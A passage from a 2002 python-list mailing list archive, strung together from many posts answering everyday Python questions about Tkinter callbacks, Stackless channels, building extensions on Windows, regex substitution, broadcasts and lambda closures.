fine, but under Win2000, when i try > read data from serial port, i get error message, as result no data > arrived. > > It is normal or not? > > -- > Best regards > Timothey Sleptsov > > e-mail: tim_sleptsov at fromru.com > tim_sleptsov at mtu-net.ru > -- > http://mail.python.org/mailman/listinfo/python-list From tismer at tismer.com Sun May 19 05:01:24 2002 From: tismer at tismer.com (Christian Tismer) Date: Sun, 19 May 2002 11:01:24 +0200 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: <3CE769E4.5010807@tismer.com> Fernando Pereira wrote: > On 5/17/02 9:30 PM, in article > mailman.1021685435.8672.python-list at python.org, "Christian Tismer" > wrote: > >>- There isn't yet an ALT/PRI ALT construct like in OCCAM/ALEF/LIMBO. >>This is most sophisticated and very hard to implement correctly! I will >>try to find out how to do this the best way, during my stay at IronPort, >>from May 18th to May 29. > > I was once involved in designing a channel facility with an ALT-equivalent, > and I found the following paper very useful: > > Luca Cardelli. An implementation model of rendezvous communication. S.D. > Brookes, A.W. Roscoe and G. Winskel. Seminar on Concurrency, Carnegie-Mellon > University, Pittsburgh, PA, July 1984. Lecture Notes in Computer Science, > Vol. 197, Springer-Verlag, 1985, ISBN 3-540-15670-4. pp 449-457 > Thank you very much for this link. I started to read it (but it is hard -- I'm deadly jet-lagged) and will try to get my brain around it tomorrow. At first glance, I'm a bit stunned. Did you see my channel implementation? It is quite straight-forward and performs fine. But the principles appear to be upside down from those of the paper. My channels have a single queue of waiting tasks, and this queue is either for reading or writing. Currently I have a hard time to understand why there can be both an output and an input pool. My channels always fulfil whatever is possible, so only one pool would be populated at any time. I think I did quite something similar to their rendevouz operation. Interesting is that they don't even take processes as first-class objects. After introducin channels, I also found my tasklets less useful than before, and maybe they will survive only in a shadowy existance. Anyway, what I didn't grasp really yet is how to implement PAR as a multiple select on a group of channels. Isn't this group of channels like a special object, that will try to figure out a ready channel with almost no computation time, and continue the waiting process ASAP? And if so, what happens afterwards? Is the channel group thrown away? This looks quite expensive. I'm expecting to wait on, say, 10000 channels over and over. This implies to create such objects quite seldom and to re-use them as long as possible, switching some off using guards. Maybe I'm completely on the wrong track? I'd really be interested to read about your implementation. Anyway I hope to have a better understanding of the article tomorrow when the jet-lag has vanished a little. thanks so much for your support, I really need to learn more, soon! cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From nhodgson at bigpond.net.au Mon May 27 17:01:52 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Mon, 27 May 2002 21:01:52 GMT Subject: Problem building PySQLite under Windows References: Message-ID: <49xI8.185692$o66.555657@news-server.bigpond.net.au> Andrew MacIntyre: > On Sun, 26 May 2002, Max wrote: > {...} > > > cl.exe /c /nologo /Ox /MD /W3 /GX -Ic:\sqlite\include -Ic:\python22\include > > Yes, this is a C compiler - I believe that this is the command line > Microsoft compiler which is effectively a free download (in the > absence of SKS providing the info, you'll need to google for more info > because I can't give you any details). The non-optimizing current version of the Microsoft C/C++ compiler is available for free by downloading the .NET SDK (130 Megabytes) from http://download.microsoft.com/download/.netframesdk/SDK/1.0/W98NT42KMeXP/EN- US/setup.exe Neil From gcordova at hebmex.com Mon May 20 09:40:47 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Mon, 20 May 2002 08:40:47 -0500 Subject: Tkinter command parameters Message-ID: > > When I try to pass an argument to a button's function, it executes the > function > upon loading rather than when the button is pressed. When the button > is pressed nothing happens. > > the code is something like this: > > self.mybutton = Button(parent, command = func(1)) > self.mybutton.grid() > > def func(number): > print str(number) > > What am I doing wrong? > Because, with ''' command = func(1) ''' you're assigning to "command" the result of calling "func" with an argument "1"; consider the parenthesis a "call" operation. What you need is to set "command" to a reference of the function you want called whenever the button is pressed. Also, if you want to defer calling "func" with an argumento "1", you need to create a function without arguments which will in turn call "func(1)". You can do that with: def _(): func(1) self.mybutton = Button(parent, command = _) (I'm using "_" as a throwaway function name) Or, also with lambda: self.mybutton = Button(parent, command = lambda : func(1)) -gustavo From peter at engcorp.com Wed May 15 19:52:14 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 May 2002 19:52:14 -0400 Subject: Python install on Windows References: <3ce203b1.682640671@news.skynet.be> <3ce20dd4.685235640@news.skynet.be> Message-ID: <3CE2F4AE.63E59D9E@engcorp.com> henk.derudder at barconet.com wrote: > > On Wed, 15 May 2002 09:02:17 +0200, "Thomas Heller" > wrote: > > >They are contained in the source distribution. AFIAK, there are a > Thanks, can you tell me what the free Inno-setup is all about? Try a search on Google? ("installer inno" or something?) > And what does AFIAK stands for? AFIAK doesn't stand for anything. AFAIK stands for "As Far As I Know". -Peter From mwh at python.net Fri May 3 07:21:12 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 3 May 2002 11:21:12 GMT Subject: Low level python References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> Message-ID: "Matthew Sherborne" writes: > You guys are scaring me. I don't feel safe on the cutting edge! > > It actually doesn't look that hard using WinDriver (they even have device > drivers written in VB!) > > One prob I have to convince the rent payers: It uses 2-3Mb of RAM when > running! Who wants a 3Mb device driver? > > I remember that deeply embedded python recompile python dropping langauge > features out. Is there an easy way to do this? > > Anyone know how I can reduce the memory footprint of Python? There are some things you can just not compile in: unicode, complex numbers. Obviously, don't compile extension modules you don't need (e.g. _tkinter!). It's probably not that difficult to hack out more stuff, but it would be A Project. Ditching the compiler would probably bring some savings, but would make development much more of a pain. Etc. I don't think psyco is too memory friendly at the moment, is it? Cheers, M. -- 40. There are two ways to write error-free programs; only the third one works. -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html From ehoute_zeelandnet_nl Thu May 9 18:05:31 2002 From: ehoute_zeelandnet_nl (Ewald van Houte) Date: 09 May 2002 22:05:31 GMT Subject: change a string conditional References: Message-ID: "obantec support" wrote in news:udlaulccmpa3f5 at news.supernews.com: > Hi > > I need to a piece of python code that will take a string which may or > may not begin with www and change it to lists. > > eg. www.domain.com becomes lists.domain.com > but if domain1.com (no www) the it still becomes lists.domain1.com > > an example of a pattern match will be enough.(I do a bit of perl but > never done any python) > > mark > > > import re def f(url): return 'lists.' + re.sub('^www.\.','',url) Testing it: >>> f('domain1.com') 'lists.domain1.com' >>> f('www.domain.com') 'lists.domain.com' Maybe better pattern possible, but too lazy now :p HTH, Ewald From nhodgson at bigpond.net.au Sat May 18 17:54:53 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Sat, 18 May 2002 21:54:53 GMT Subject: AS Rant. WAS: shutil rant References: Message-ID: David LeBlanc: > Aside from the Windows Scripting Host interface, what other benefit does AS > Python in addition to Python and PythonWin? I would have thought the > prohibition on redistribution to 3rd parties of the AS distribution would > have been troublesome? It strikes me as "ActiveTaint" more then > "ActiveState". PythonWin and win32all (including WSH) are available independently of ActiveState ActivePython: http://starship.python.net/crew/mhammond/ ActivePython is a nicely bundled distribution of Python. Its useful because you can tell people to just grab a copy and run the installer and they will have a good set of functionality. http://www.activestate.com/Products/ActivePython/ Neil From pyth at devel.trillke.net Fri May 31 17:40:36 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 31 May 2002 23:40:36 +0200 Subject: Internat In-Reply-To: <69QJ8.68711$ux5.82517@rwcrnsc51.ops.asp.att.net>; from akakakhel@attbi.com on Fri, May 31, 2002 at 07:28:02PM +0000 References: <69QJ8.68711$ux5.82517@rwcrnsc51.ops.asp.att.net> Message-ID: <20020531234036.V17248@prim.han.de> Ali K wrote: > Can one use Python as a language for ASP or CGI or something? yes From simon at nospam.demon.co.uk Sun May 5 10:43:14 2002 From: simon at nospam.demon.co.uk (Simon Foster) Date: Sun, 5 May 2002 15:43:14 +0100 Subject: degrees and radians. References: Message-ID: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> "Jim Richardson" wrote in message news:tvl2ba.4q7.ln at 127.0.0.1... > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > ... > > Well, now that I have conquered elementry trig, I am now going to try > for simple python and figure out how to add the contents of a tuple to > the contents of another tuple... > Try '+' >>> a (1, 2) >>> b (3, 4) >>> a+b (1, 2, 3, 4) >>> From nhodgson at bigpond.net.au Fri May 17 18:30:40 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Fri, 17 May 2002 22:30:40 GMT Subject: pygtk vs. wxPython References: <3CE4E081.10908@thomas-guettler.de> Message-ID: Thomas Guettler: > I prefere pygtk because wxpython has an extra layer in > the library stack: I agree with this concern. When you have a problem with wxWindows on GTK+ then you need to work out which level is causing the problem. Is it caused by the fundamental capabilities of the widget or by the wxWindows wrapper? Because the wxWindows widgets are wrappers, there are differences in functionality between platforms. Some wxWindows widgets are implemented using wxWindows directly instead and these offer the same capabilities on each platform. > Has some one experience with pygtk on windows? A good large example GTK+ application is Wing IDE available on both Windows and X. You can get a time-limited demo from http://archaeopteryx.com/wingide/demo Neil From roy at panix.com Fri May 3 20:40:57 2002 From: roy at panix.com (Roy Smith) Date: Fri, 03 May 2002 20:40:57 -0400 Subject: Slight irritation with try/finally indentation References: <3cd2c922.692157118@news> <3CD31FC0.6020503@st.jyu.fi> Message-ID: Mikko Rantalainen wrote: > Why not the following? > > try: > setup() > process() > finally: > cleanup() That changes the semantics. Now you're catching errors in setup() as well as in process(). If that's what you want, fine, but don't change the semantics just to make it looks pretty. From edcjones at erols.com Sat May 11 12:05:01 2002 From: edcjones at erols.com (Edward C. Jones) Date: Sat, 11 May 2002 12:05:01 -0400 Subject: __getitem__, __getslice__ question for python 2.2 Message-ID: <3CDD412D.3000805@erols.com> In Python 2.2 the following code outputs [1, 2] but never gets to line 8: class test(list): def __init__(self, data=[]): list.__init__(self, data) def __getitem__(self, key): print 'L8', key return list.__getitem__(self, key) # def __getslice__(self, lo, hi): # print 'L12', lo, hi # return list.__getslice__(self, lo, hi) x = test([0,1,2,3,4]) print x[1:3] If __getslice__ is uncommented, [1, 2] is output and line 12 is executed. What is going on here? What is the status of the deprecation of __getslice__? How does this all relate to the new style classes? Thanks, Ed Jones From nhr at ibizcast.com Wed May 1 08:29:28 2002 From: nhr at ibizcast.com (노희령) Date: 1 May 2002 05:29:28 -0700 Subject: How create multiple key-btree DB using bsddb3? Message-ID: I couldn't create multiple key DB. Is db.DB_MULTIPLE flag written in env.open() method? May I get an simple example? Thanks. From sholden at holdenweb.com Fri May 31 10:01:43 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 10:01:43 -0400 Subject: socket module and broadcasts ? References: <3CF780D6.DFEDCFB7@ipm.fhg.de> Message-ID: "Markus von Ehr" wrote in message news:3CF780D6.DFEDCFB7 at ipm.fhg.de... > Hi everybody, > > my python client has to connect to a server on an > embedded system (TCPIP). > The IP-address of the server may change and I'd like > to get the address with a broadcast. A friend told me that > broadcast-messages are only possible using UDP, anyone > already did a IP-number query? > When you say "I'd like to get the address with a broadcast", what protocol were you thinking of using? Do you really want your server to have top listen for broadcasts from potential clients? What if the server and the client are of different IP networks? It's correct that UDP can broadcast and TCP can't, because the latter assumes a direct process-to-process connection with acknowledgements, and there is no way to handle multi-host acknowledgements. Q: What are hostnames for? A: Making it easier to refer to systems, and retaining invariant host references in the face of changing IP allocations. Use /etc/hosts or the DNS and *name* the hosts. You will only make trouble for yourself by hard-wiring IP addresses into your code. even-the-DNS-root-servers-have-names-(though-you-still-need-[at-least-one-of ]-the-addresses)-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From robin at jessikat.fsnet.co.uk Fri May 10 13:58:29 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Fri, 10 May 2002 18:58:29 +0100 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> <+tY+cWAOr528EwNI@jessikat.demon.co.uk> Message-ID: In article , James J. Besemer writes ...... >Personally I very much prefer the term "pattern" as that's how I learned to >think >about this class of algorithms back when I studied AI. There are strong >parallels >between global optimization and a lot of AI algorithms. ......... I don't disagree with much of what you say. I think the patters or tree patterns idea is common in many branches of discrete optimisation. >> The problem of code optimisation problem is >> approximately >> >> choose c to optimise F(c,X(c,d)) >> such that X(c,d)=S(p,d) >> c=code >> p=program >> d=program data >> F=utility function ie code size/speed etc >> X=execution function >> S=semantic function ......... I guess what you're describing is a feasible set approach. ie we are assuming that there exists a feasible c with X(c,d)=S(p,d) (ie we have a working compiler of some sort). Given c there are transformations that preserve feasibility (these correspond to patterns) so that T1(c)=c1 with X(Ti(c),d) = X(c,d). (This approach applies in the input p space as well). Clearly we want to choose the transformations such that the cost improves, but in optimisation this is still a 'local' method as it remains to be proved for any particular domain that the local neighbourhood optimisations converge to a global optimum. In practice what we want is that Ti(c) can lead to any feasible c. Such a pattern is pretty large imho :) There are many examples in mathematics where apparently sensible rules leads to trouble eg the steepest ascent rule doesn't have good convergence to the top of a hill even in the absence of constraints. -- Robin Becker From cliechti at gmx.net Sat May 11 11:58:01 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 17:58:01 +0200 Subject: searching files References: Message-ID: "zweistein" wrote in news:abjaqq$gfu$1 at bagan.srce.hr: > I am trying to make a simple address book program, as an excersise in my > programming skills, and I can make everything except the search function. > I loaded the entire file into a list, and I tried a few things, but it > doesn't work. generaly you can use a "for" loop. def find(name): for address in addressList: if address.find(name) >= 0: return address raise Exception("not found") > Anyone have any ideas, algorithms, code? Thanks! please provide more information about your data structure and what exactly you want to search (names, numbers etc) and you will get more useful feedback from this group. chris -- Chris From tundra at tundraware.com Thu May 2 02:30:09 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Thu, 02 May 2002 06:30:09 GMT Subject: Python vs. Perl, which is better to learn? References: <3CD0CFBC.35F221AE@tundraware.com> Message-ID: <3CD0DCE5.F2D36481@tundraware.com> Tim Daneliuk wrote: > > Andrew McNamara wrote: > > > > >I have a lot of experience in ANSI C/C++, I want to learn a new > > >language and which it can help me in the work. > > >I just want to clear which(python or perl) is more comfort for me? > > > > This question comes up with painful regularity on virtually every > language newsgroup in existence. The answers are almost always the > same. I think we need a meta-answer which address the question > once-and-for-all for any language extant or future. I thus humbly > submit the following as a candidate.... > > HOW TO PICK A PROGRAMMING LANGUAGE This now lives at: http://www.tundraware.com/Technology/How-To-Pick-A-Programming-Language/ -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From jeff at ccvcorp.com Tue May 7 13:23:34 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 7 May 2002 10:23:34 -0700 Subject: survey: is shelve broken? should it be fixed? References: Message-ID: In article , Roman Suzi says... > On Tue, 7 May 2002, Alex Martelli wrote: > > > Right. We really cannot afford to change semantics wantonly, even though > > it may seem the old one was 'broken', it WAS around for years, so clearly > > some applications might well have relied on it. > > Are there really applications (but very simple) which survive 1.5.2 -> 2.x > leap? In my experience always some little modification is needed to bring > them up-to-date with current python version. Well, I can't speak for 1.5.2 => 2.x, but I've had a number of scripts that I wrote for 2.0, that run completely unchanged under 2.2.1, and it'd be nice if they continue to run under 2.3 and 2.4. Of course, none of them use shelve, so this particular fix wouldn't bite *me* ;) ...but I would imagine that if I *did* use shelve, I'd have coded around the current behavior. Changing that behavior could have unpredictable results. I like the idea of adding a warning and an optional switch, with the default changing in a couple of versions. (But I *do* want a warning to let me know that I'm doing something wrong, or at least questionable, before having it suddenly change.) -- Jeff Shannon Technician/Programmer Credit International From brian at sweetapp.com Sat May 11 00:04:40 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Fri, 10 May 2002 21:04:40 -0700 Subject: How do I modify global variables from a signal handler? In-Reply-To: Message-ID: <002001c1f8a0$f9959470$445d4540@Dell2> > This behavior isn't very surprising given the nature of signals > and the fun state they can leave the stack. > I assume that I have to do something with frame in the signal handler, > but the use of frame is not documented -- nor is the use of > Frame Objects as far as I can tell. You are looking to deep. You just have to declare the use of global variables: GLOBAL_SIGCHLD_RECEIVED = 0 def childdied (signum, frame): + global GLOBAL_SIGCHLD_RECEIVED print 'Signal handler called with signal', signum GLOBAL_SIGCHLD_RECEIVED = 1 Cheers, Brian From erno-news at erno.iki.fi Thu May 16 19:31:47 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 17 May 2002 02:31:47 +0300 Subject: Unicode File I/O Grief References: Message-ID: In article , Dale Strickland-Clark writes: | I don't want it translated I want to see EXACTLY what's in there as it | stands. the way unicode strings are represented in the memory of your computer depends on whether you have configured python with 16- or 32-bit unicode character size, and on the byte order of your computer. if you know those, you can use the appropriate UCS2/UCS4 encodings, i think. -- erno From mgilfix at eecs.tufts.edu Mon May 13 22:46:59 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Mon, 13 May 2002 22:46:59 -0400 Subject: Rationals and Linear Programming in Python In-Reply-To: ; from aleax@aleax.it on Mon, May 13, 2002 at 10:37:09PM +0000 References: Message-ID: <20020513224659.A20620@eecs.tufts.edu> On Mon, May 13 @ 22:37, Alex Martelli wrote: > Noah wrote: > ... > > I'm more interested in a pure Python type. The Gmpy docs say > > that it has this, so far so good. Do you know if it will work > > ? gmpy is a wrapper over the GMP library, which in turn is > implemented in C or assembler. Don't know exactly what you > mean by "a pure Python type", but if you mean a type entirely > coded in Python, gmpy doesn't have any, and I'd appreciate it > if you could point out to me what part of the docs misleadingly > gave that impression, thanks. I think he means defining new types as in on this doc page: http://www.python.org/dev/doc/devel/ext/ext.html or defining classes which implement the __add__ operator, etc. -- Mike -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From quinn at groat.ugcs.caltech.edu Mon May 20 22:19:15 2002 From: quinn at groat.ugcs.caltech.edu (Quinn Dunkan) Date: 21 May 2002 02:19:15 GMT Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> <1021675841.367689@cswreg.cos.agilent.com> Message-ID: On Fri, 17 May 2002 22:50:41 +0000 (UTC), Greg Weeks wrote: >Shagshag (shagshag13 at yahoo.fr) wrote: >: Newbie to python, i was wondering how *skilled* guys code with it : > >I use an ascii editor (emacs) in text mode. I typically write lots of code >before executing anything. I test the code by executing programs from the >Unix command line. I write modules in vi in one window. In another window, I have a python repl in which I try out the stuff I write. Often, I'll write a test() function in the module that generates a testable version of whatever object in which I happen to be interested at the moment. I also often do something like: >>> x = 'reload(somemodule); c = somemodule.test(); c.changestate(blah)' and then 'exec x' whenever I want to try a new version. Almost as nice as a lispish (in-package :somemodule). Only annoying thing is that python objects don't automatically update themselves when their classes are redefined, so all your random scratch objects lying around in the REPL will be obsolete when you reload. And there's the usual reload problem if there are multiple modules involved---you have to reload them all and in the right order. In practice, my activities are simple enough that those things don't bother me. Lazy languages like haskell are nice because you can write all your scratch test object assignments in the module without having to worry about how long it might take to compute all of them. In python I wrap 'em in thunks (which is really what the test() convention is). From phd at phd.pp.ru Thu May 30 04:02:05 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Thu, 30 May 2002 12:02:05 +0400 Subject: authentication and urllib help wanted In-Reply-To: <3CF541DC.3B77F4DA@bigfoot.com>; from bsouthey@bigfoot.com on Wed, May 29, 2002 at 04:02:20PM -0500 References: <3CF541DC.3B77F4DA@bigfoot.com> Message-ID: <20020530120205.D27954@phd.pp.ru> On Wed, May 29, 2002 at 04:02:20PM -0500, Bruce Southey wrote: > opened_url=urllib.urlopen('http://username:password at some_site','params') > > When the username/password is incorrect, urllib (actually > FancyURLopener) requests for username and password. I would like to > avoid this request so to trap any incorrect username/password > combinations. Write your own URLOpener, using FancyURLOpener, or just URLOpener as a base class, and handle errors yourself. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From rajat at cs.utexas.edu Wed May 8 12:01:08 2002 From: rajat at cs.utexas.edu (Rajat Chopra) Date: Wed, 8 May 2002 11:01:08 -0500 Subject: Comments Message-ID: Does anyone know if Python supports multi-line comments? I believe Java and C++ (and even non-ANSI C) have /* ... */ for multi-line. Does Python have anything comparable? From rajat at cs.utexas.edu Tue May 21 15:10:59 2002 From: rajat at cs.utexas.edu (Rajat Chopra) Date: Tue, 21 May 2002 14:10:59 -0500 Subject: Destructor Message-ID: Hey Guys, I have a very quick and basic question -- but I was just when exactly a Destructor is invoked? Do you have to delete the object (ex: del OBJECT ) or is it enough to say OBJECT = None ??? Thanks, Rajat From see at below Mon May 6 21:34:13 2002 From: see at below (Paul Foley) Date: 07 May 2002 13:34:13 +1200 Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: On Mon, 06 May 2002 15:15:59 GMT, Alex Martelli wrote: > Paul Foley wrote: > ... >> OK; question: what's the difference, if any, between >> >> x = n >> do_something >> >> and >> >> def foo(x): >> do_something >> >> foo(n) >> >> as far as x is concerned? > Assuming these snippets are top-level code, "the difference as > far as x is concerned" is clearly that x is a global name in the > first snippet, and a local name of foo in the second snippet. And if they're not at top level? The scope difference isn't really what I was getting at. The point is that, in the case of something like def foo(x): bar x = 7 baz there's only _one_ binding for x: doing "x = 7" just changes the value in the preexisting binding. That's why def foo(x): a = lambda: x x = 7 b = lambda: x return a,b returns two functions that both return 7; if there was a new binding after the "x = 7", the functions would return different values [assuming you don't call foo(7), of course. Also assuming nested_scopes] In Lisp, you can do both: (defun foo (x &aux a b) (setq a (lambda () x)) (setq x 7) ; assignment (setq b (lambda () x)) (list a b)) vs. (defun foo (x &aux a b) (setq a (lambda () x)) (let ((x 7)) ; binding (setq b (lambda () x))) (list a b)) Note that (let ((a1 b1) (a2 b2)) ...) is essentially syntactic sugar for ((lambda (a1 a2) ...) b1 b2) Lambda is how you do binding; setq can only assign into an existing binding. Same with Python's "=", except that the compiler notices any assignments and automatically adds "&aux var" to the lambda list (to put it in Lisp terms) -- and /that's/ what does the binding, not the "=", which you can easily demonstrate: def test(): print x x = 42 raises an error because the (empty, error-causing) binding for x is already in force when the "print" statement executes, before the "=" is even reached. >> Given that (lambda: x) /does/ close over x with nested scopes enabled, >> can you explain why >> >> fns = getfns(seq) >> >> produces a list of functions that all return seq[-1]? And why, as you > Because "lambda: x" is a callable that returns whatever object name x is > bound to at the time it's called (rather than, at the time it's created). Yes, but it captures the binding that's in effect at the time the function is created (i.e., when the lambda form is evaluated, not when it's eventually called). That's what "closure" means. And that's what I'm getting at: yes, when you call the function you get whatever value is in that binding at the time of the call -- the fact that all five functions return the same value shows that they all share the same binding! >> def getfns2(seq): >> return [(lambda x=x: x) for x in seq] >> >> produces functions that return all the elements of seq? >> [Assume you call them with no arguments!] > Because "lambda x=x: x" is a callable that (when called with no arguments) > returns whatever object name x was bound to at the time the callable was > created (rather than, at the time it's called). Hmmm. Does it make a difference if I write (lambda q=x: q)? It still returns whatever value the variable (now named q) is bound to at the time of the call (/not/ when it was created!), but now you have a new binding, not shared by the other functions; the value in that new binding is the value of x at the time the binding was created [and you can't change it, in Python, but that's not relevant] Of course, you could do def getfns2(seq): return [(lambda x: lambda: x)(x) for x in seq] to get the same effect without the unwanted optional argument. [Again, assuming nested_scopes is enabled] What I'm saying is that when you explain Python to people by drawing boxes for variables with arrows pointing at their values, as in the recent thread, the binding is the box, or the box-and-arrow pair, not the arrow. Assignment is making an arrow point somewhere else; binding is making a new box, with its own arrow. [As long as you don't have dynamic variables, anyway; but Python doesn't] -- Nonono, while we're making wild conjectures about the behavior of completely irrelevant tasks, we must not also make serious mistakes, or the data might suddenly become statistically valid. -- Erik Naggum (setq reply-to (concatenate 'string "Paul Foley " "")) From eric.brunel at pragmadev.com Thu May 30 07:17:03 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Thu, 30 May 2002 11:17:03 +0000 Subject: User input question References: Message-ID: Ken wrote: [snip] > This is the equilvalent C++ code I want to work in python: > > string s; > cin>>s; > search_word(s) > > void search_word(string s){ > //do something > } Considering your HTML form, I don't know if it's the right thing to do, but here is the exact equivalent of your C++ code: import sys s = sys.stdin.readline() search_word(s) The method "readline" on an opened file object reads one line in the file, which, IIRC, is the same than doing "cin >>" in C++. But considering what I know about HTML forms (but I've forgotten a lot...), you may get the string "searchword=" instead of just the word you want... HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From greg at cosc.canterbury.ac.nz Wed May 15 20:43:51 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 16 May 2002 12:43:51 +1200 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> <3CE1FE30.3060803@mxm.dk> <200205151430.g4FEUcrW013511@theraft.strakt.com> Message-ID: <3CE300C7.FCA96F8C@cosc.canterbury.ac.nz> Max M wrote: > > Well... one can create a program that design bridges, but one cannot > create a bridge that design programs ... In Sarah Douglass's fantasy series (the one starting with Battleaxe) there's a bridge that you can hold conversations with... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From tim.one at comcast.net Mon May 20 02:16:11 2002 From: tim.one at comcast.net (Tim Peters) Date: Mon, 20 May 2002 02:16:11 -0400 Subject: string module In-Reply-To: Message-ID: [Fernando P?rez] > ... > So how in the world do I get the extra accented chars shoved > into string.uppercase? The relevant section in > /usr/lib/python2.2/string.py: > > # Some strings for ctype-style character classification > whitespace = ' \t\n\r\v\f' > lowercase = 'abcdefghijklmnopqrstuvwxyz' > uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' > letters = lowercase + uppercase A more relevant section in string.py is at its end: try: from strop import maketrans, lowercase, uppercase, whitespace letters = lowercase + uppercase except ImportError: pass From inyeol_lee at yahoo.com Tue May 21 05:02:04 2002 From: inyeol_lee at yahoo.com (Inyeol Lee) Date: 21 May 2002 02:02:04 -0700 Subject: Newbie - bound/unbound method call Message-ID: This code is for handling keywords. class C: def do_key1(self): print "key1 done." def do_key2(self): print "key2 done." def do_key3(self): print "key3 done." table = { "key1": do_key1, "key2": do_key2, "key3": do_key3 } def do(self, key): self.table[key](self) This code works fine, for example: >>> c = C() >>> c.do("key1") key1 done. >>> But I don't fully understand why it works. I've just made it work through trial & error. My question is; 1. Is it pythonic? Is there better way to do this? 2. Is the second 'self' in the last line 'self.table[key](self)' required? (It generates TypeError without it.) Is it unbound method call even though it starts with 'self'? Thanks for your advice. I'm a newbie in both Python and OOP. Inyeol From ianb at colorstudy.com Fri May 10 16:08:38 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 10 May 2002 15:08:38 -0500 Subject: Python Enterprise Objects In-Reply-To: References: Message-ID: <1021061318.1311.11.camel@localhost> On Fri, 2002-05-10 at 08:32, Bill Tate wrote: > While I applaud your intent (re: "replacement of J2EE or.. .NET") - I > would kindly suggest you bear in mind what your up against. All hype > aside, Java is and/or will offer solutions from the embedded and > mobile device levels all the way up to corporate IT systems. All of this is incidental. The premise of posting to this list, and of creating the project, is that there's something worth doing here, and worth doing in Python. What position Java is in doesn't really matter. Negativity be gone! Of course, the very use of the word "enterprise" implies that our insular joy may mean little that cold, barren land. That's why I try not to touch that stuff -- life is more fun elsewhere. Ian From deltapigz at telocity.com Sun May 19 22:20:06 2002 From: deltapigz at telocity.com (Adonis) Date: Sun, 19 May 2002 22:20:06 -0400 Subject: Licensing question Message-ID: <3ce8614f_5@nopics.sjc> this might provoke a flame war, which i hope that it will not occur, and hope that it can be responded in a more mature intellectual manner. my question is can a program written in Python be sold? i have read the python license and could not find it too clear, or i just have misread it. if not, can the fact of the actual "service/time spent" used to produce the program be a warrant for receiving a profit? any feedback would be greatly appreciated. Adonis From gkrohn at tcq.net Thu May 2 04:11:20 2002 From: gkrohn at tcq.net (Greg Krohn) Date: Thu, 2 May 2002 03:11:20 -0500 Subject: Tkinter-helper-gui and a main class: their communication References: Message-ID: Yeah, so assuming you don't need the exception-event-handling, this is how I would do it. #turtle.py from Tkinter import * class Amphibian_gui: def __init__(self): pass class Turtle_gui(Amphibian_gui): def __init__(self): Amphibian_gui.__init__(self) self.knop=Button(root,text='New Turtle') self.knop.grid(row=0,column=0) class Turtle: def __init__(self): self.gui = Turtle_gui() self.gui.knop.config(command=self.buttonwork) def buttonwork(self): print "main class Turtle sees the The ButtonPush exception" # do something useful with this knowledge if __name__ == '__main__': root = Tk() turtle = Turtle() root.mainloop() From martin at v.loewis.de Thu May 9 06:46:33 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 12:46:33 +0200 Subject: Stackless python + official python ? References: <3CDA4598.27A53D75@vip.fi> Message-ID: Pekka Niiranen writes: > After reading "Continuations and Stackless Python" by Christian > Tismer I started wondering if there are any plans to merge his > efforts to official Python release ? Not at the moment, no. > Or is it too late because user and application base of the language > are allready so wide that pure engineering decisions for the > language development are impossible ? No. The previous implementation of Stackless Python was unacceptable for integration in the "official Python release", because the code was essentially unmaintainable. Christian has since abandoned this approach and started all over again; the new code is not yet complete enough for inclusion. Regards, Martin From martin at v.loewis.de Wed May 8 01:35:15 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 08 May 2002 07:35:15 